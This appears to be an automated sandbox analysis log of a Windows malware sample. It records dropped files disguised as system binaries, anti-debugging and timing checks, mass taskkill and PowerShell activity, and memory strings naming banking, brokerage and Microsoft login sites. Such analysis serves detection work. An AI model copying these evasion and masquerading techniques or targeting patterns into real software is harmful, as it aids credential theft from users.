Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\123.exe	Code function: 3_2_00EBA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	3_2_00EBA69B
Source: C:\Users\123.exe	Code function: 3_2_00ECC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	3_2_00ECC220
Source: C:\Users\123.exe	Code function: 3_2_00EDB348 FindFirstFileExA,	3_2_00EDB348
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3276F0 FindFirstFileExW,FindClose,	14_2_00007FF77B3276F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B326B80 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00007FF77B326B80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B341674 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3276F0 FindFirstFileExW,FindClose,	16_2_00007FF77B3276F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B326B80 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00007FF77B326B80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B341674 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4462 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,	16_2_00007FF8A87C4462

Source: C:\Users\123.exe

Code function: 3_2_00ECE6A3 VirtualQuery,GetSystemInfo,

3_2_00ECE6A3

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000002.3296547554.0000000008A1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: svchosl.exe, 00000010.00000002.3275747889.00000213058A8000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000003.2377835190.0000021305890000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW of %SystemRoot%\system32\mswsock.dlldescriptor [*]
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.3288104311.0000000006E1B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2259743734.0000000005B7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.3280784216.0000000004A59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-133523
Source: C:\Users\123.exe	API call chain: ExitProcess graph end node
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C63AC		16_2_00007FF8A87C63AC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C64EC		16_2_00007FF8A87C64EC

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Code function: 16_2_00007FF8A87C324C rdtsc

16_2_00007FF8A87C324C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_044A0890 LdrInitializeThunk,

0_2_044A0890

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_0040CE09

Source: C:\Users\user\Desktop\file.exe

0_2_004019F0

Source: C:\Users\user\Desktop\file.exe

0_2_004019F0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E092B mov eax, dword ptr fs:[00000030h]	0_2_029E092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029E0D90 mov eax, dword ptr fs:[00000030h]	0_2_029E0D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02AA1D2B push dword ptr fs:[00000030h]	0_2_02AA1D2B
Source: C:\Users\123.exe	Code function: 3_2_00ED7DEE mov eax, dword ptr fs:[00000030h]	3_2_00ED7DEE

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040ADB0 GetProcessHeap,HeapFree,

0_2_0040ADB0

Source: C:\Users\user\Desktop\file.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CE09 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040CE09
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E61C _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040E61C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00416F6A __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00416F6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004123F1 SetUnhandledExceptionFilter,	0_2_004123F1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029EE883 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_029EE883
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029ED070 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_029ED070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029F71D1 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_029F71D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_029F2658 SetUnhandledExceptionFilter,	0_2_029F2658
Source: C:\Users\123.exe	Code function: 3_2_00ECF838 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00ECF838
Source: C:\Users\123.exe	Code function: 3_2_00ECF9D5 SetUnhandledExceptionFilter,	3_2_00ECF9D5
Source: C:\Users\123.exe	Code function: 3_2_00ECFBCA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_00ECFBCA
Source: C:\Users\123.exe	Code function: 3_2_00ED8EBD IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00ED8EBD
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140018800 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0000000140018800
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140023D20 RtlCaptureContext,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_0000000140023D20
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_0000000140020180 SetUnhandledExceptionFilter,	6_2_0000000140020180
Source: C:\ProgramData\MicrosoftSystem\Wmiic.exe	Code function: 6_2_000000014001B6C4 RtlCaptureContext,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_000000014001B6C4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32AD00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00007FF77B32AD00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B33A1D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF77B33A1D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32B740 SetUnhandledExceptionFilter,	14_2_00007FF77B32B740
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B32B59C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00007FF77B32B59C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32AD00 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF77B32AD00
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B33A1D8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF77B33A1D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32B740 SetUnhandledExceptionFilter,	16_2_00007FF77B32B740
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B32B59C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF77B32B59C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4FDE __scrt_fastfail,IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8A87C4FDE
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B7FE1D66 __scrt_fastfail,IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8B7FE1D66
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B906411C IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8B906411C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9064304 SetUnhandledExceptionFilter,	16_2_00007FF8B9064304
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B90636D8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8B90636D8
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C3594 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8B93C3594
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C27C4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8B93C27C4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B93C377C SetUnhandledExceptionFilter,	16_2_00007FF8B93C377C
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9843298 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_00007FF8B9843298
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9843EC4 SetUnhandledExceptionFilter,	16_2_00007FF8B9843EC4
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9843CDC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_00007FF8B9843CDC
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8B9F6A92C SetUnhandledExceptionFilter,	16_2_00007FF8B9F6A92C
